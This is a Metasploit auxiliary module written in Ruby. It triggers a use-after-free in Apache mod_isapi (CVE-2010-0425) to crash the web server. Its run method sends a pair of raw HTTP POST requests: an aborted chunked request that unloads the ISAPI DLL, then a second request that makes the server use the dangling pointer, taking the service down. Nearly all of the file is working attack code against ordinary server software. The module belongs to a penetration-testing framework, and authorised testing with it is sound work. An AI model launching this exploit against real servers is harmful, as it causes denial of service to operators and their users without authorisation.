bcoles
99 lines
3.6 KiB
Ruby
99 lines
3.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Auxiliary::Dos
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Apache mod_isapi Dangling Pointer',
|
|
'Description' => %q{
|
|
This module triggers a use-after-free vulnerability in the Apache
|
|
Software Foundation mod_isapi extension for versions 2.2.14 and earlier.
|
|
In order to reach the vulnerable code, the target server must have an
|
|
ISAPI module installed and configured.
|
|
|
|
By making a request that terminates abnormally (either an aborted TCP
|
|
connection or an unsatisfied chunked request), mod_isapi will unload the
|
|
ISAPI extension. Later, if another request comes for that ISAPI module,
|
|
previously obtained pointers will be used resulting in an access
|
|
violation or potentially arbitrary code execution.
|
|
|
|
Although arbitrary code execution is theoretically possible, a
|
|
real-world method of invoking this consequence has not been proven. In
|
|
order to do so, one would need to find a situation where a particular
|
|
ISAPI module loads at an image base address that can be re-allocated by
|
|
a remote attacker.
|
|
|
|
Limited success was encountered using two separate ISAPI modules. In
|
|
this scenario, a second ISAPI module was loaded into the same memory
|
|
area as the previously unloaded module.
|
|
},
|
|
'Author' => [
|
|
'Brett Gervasoni', # original discovery
|
|
'jduck'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
[ 'CVE', '2010-0425' ],
|
|
[ 'OSVDB', '62674'],
|
|
[ 'BID', '38494' ],
|
|
[ 'URL', 'https://bz.apache.org/bugzilla/show_bug.cgi?id=48509' ],
|
|
[ 'URL', 'https://web.archive.org/web/20100715032229/http://www.gossamer-threads.com/lists/apache/cvs/381537' ],
|
|
[ 'URL', 'http://www.senseofsecurity.com.au/advisories/SOS-10-002' ],
|
|
[ 'EDB', '11650' ]
|
|
],
|
|
'DisclosureDate' => '2010-03-05',
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SERVICE_DOWN],
|
|
'SideEffects' => [],
|
|
'Reliability' => []
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
Opt::RPORT(80),
|
|
OptString.new('ISAPI', [ true, 'ISAPI URI to request', '/cgi-bin/SMTPSend.dll' ])
|
|
])
|
|
end
|
|
|
|
def run
|
|
server_ip = datastore['RHOST']
|
|
if (datastore['RPORT'].to_i != 80)
|
|
server_ip += ':' + datastore['RPORT'].to_s
|
|
end
|
|
isapi_uri = datastore['ISAPI']
|
|
|
|
# Create a stale pointer using the vulnerability
|
|
print_status('Causing the ISAPI dll to be loaded and unloaded...')
|
|
unload_trigger = 'POST ' + isapi_uri + " HTTP/1.0\r\n" \
|
|
"Pragma: no-cache\r\n" \
|
|
"Proxy-Connection: Keep-Alive\r\n" \
|
|
'Host: ' + server_ip + "\r\n" \
|
|
"Transfer-Encoding: chunked\r\n" \
|
|
"Content-Length: 40334\r\n\r\n" +
|
|
Rex::Text.rand_text_alphanumeric(128..255)
|
|
connect
|
|
sock.put(unload_trigger)
|
|
disconnect
|
|
|
|
# Now make the stale pointer get used...
|
|
print_status('Triggering the crash ...')
|
|
data = Rex::Text.rand_text_alphanumeric(1337..1592)
|
|
crash_trigger = 'POST ' + isapi_uri + " HTTP/1.0\r\n" \
|
|
'Host: ' + server_ip + "\r\n" \
|
|
"Content-Length: #{data.length}\r\n\r\n" +
|
|
data
|
|
|
|
connect
|
|
sock.put(crash_trigger)
|
|
disconnect
|
|
end
|
|
end
|